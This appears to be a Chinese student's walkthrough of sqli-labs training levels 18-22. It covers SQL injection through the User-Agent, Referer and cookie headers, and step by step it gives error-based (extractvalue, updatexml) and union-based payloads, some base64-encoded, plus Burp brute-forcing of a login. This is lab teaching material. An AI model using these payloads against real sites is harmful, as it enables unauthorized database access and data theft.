sql-lib靶场18-22关总结

HEAD注入

流程

注意：

• 进行head注入时，应该知道其中的一个账号密码（可用暴力破解），之后再修改UA头
• 除了UA头还有referer头，IP头
  • IP头：HTTP_CLIENT_IP、HTTP_X_FORWARDED_FOR、HTTP_X_FORWARDED、HTTP_FORWARDED_FOR、HTTP_FORWARDED

以UA头为例

1.修改UA头报错

User-Agent: 1'

You have an error in your SQL syntax; check the manual that corresponds 
to your MySQL server version for the right syntax to use 
near '127.0.0.1', 'admin')' at line 1


insert into 表名(字段,字段,字段) values( 值 ,      值 ,           值 )
                                      ||        ||             ||
                                      UA        ip           admin
                                      ||        ||             ||
insert into 表名(字段,字段,字段) values( 值 ,    '127.0.0.1',   'admin')
                                      ||
                                      1'        
构造SQL语句字段
User-Agent: 123','1','123') #
 ...    ...   ...            values('123','1','123') #,'127.0.0.1','admin')
#重点：构造字段(先要判断有几个字段，字段中含有我们想要的SQL语句,位置在哪个字段都可)
#后面注释掉了原有的 2个字段 ip admin
#所以前面要构造闭合加上 )

2.爆数据库以及其他操作

User-Agent: 123','1'and Extractvalue
('1',concat("~~",database(),"~~")),'123') #

User-Agent: 123','1','123'and Extractvalue
('1',concat("~~",database(),"~~"))) #

User-Agent: 123'and Extractvalue
('1',concat("~~",database(),"~~")),'1','123') #

第18关

注入点：HTTP协议UA头

注入类型：报错注入+UA头

构造闭合符号：单引号'

前提：得知一组用户以及密码

方法：暴力破解

• 使用burp抓包
  

• 发送到爆破模块
  

• 配置参数
  
  
  
  

• 爆破成功，获取数据
  

• 检测账号密码，成功登陆
  

进行注入操作

• 使用正确的账户密码登录，并抓包
  

• 发送到repeater模块
  

• 修改UA头，进行爆库以及其他操作

  • payload：

  123','1'and Extractvalue('1',concat("~~",database(),"~~")),'123') #
  

第19关

注入点：HTTP协议Referer头

注入类型：报错注入+Referer头

构造闭合符号：单引号'

PS：

• 流程与第18关一致，只不过注入点不同
• 字段数也不一致，判断方法如下
• 
• 

第20关

注入点：cookie

注入类型：报错注入+cookie注入

构造闭合符号：单引号'

方法：

• burp抓包修改Cookie

  • 注意，修改Cookie的时候，需要将请求体的内容删掉：uname=admin&passwd=1&submit=Submit
  • 再添加payload: Cookie: uname=admin'and updatexml(1,concat(0x7E,(database()),0x7E),1) #
  • 添加cookie的时候位置要在请求头中（1-16行），不能在请求头中（19行）
  • 18行作用：隔开请求头与请求体，不能删除
    
    

• 网页控制台进行cookie操作

  • payload：document.cookie="uname=admin'and updatexml(1,concat(0x7E,(database()),0x7E),1) #"
  • 输入payload之后，enter提交，刷新页面即可
    
    

第21关

注入点：cookie

注入类型：cookie注入+base64+union联合查询

构造闭合符号：单引号+括号')

方法：

• burp抓包修改

  • payload

    • ') union select 1,group_concat(schema_name),3 from information_schema.schemata #
      

    • Cookie: (转码后)
      uname=JykgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHNjaGVtYV9uYW1lKSwzIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhICM=
      

• 网页控制台进行cookie操作

  • payload

    • document.cookie="uname=JykgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHNjaGVtYV9uYW1lKSwzIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhICM="
      

PS：

• 流程基本与第20关一致，闭合符号不同
• 需要使用base64转码

第22关

注入点：cookie

注入类型：cookie注入+base64+union联合查询

构造闭合符号：双引号"

方法：

• burp抓包修改

  • payload

    • " union select 1,group_concat(schema_name),3 from information_schema.schemata #
      

    • Cookie: (转码后)
      uname=IiB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQoc2NoZW1hX25hbWUpLDMgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuc2NoZW1hdGEgIw==
      

• 网页控制台进行cookie操作

  • payload

    • document.cookie="uname=IiB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQoc2NoZW1hX25hbWUpLDMgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuc2NoZW1hdGEgIw=="
      

PS：

• 流程基本与第20关一致，闭合符号不同
• 需要使用base64转码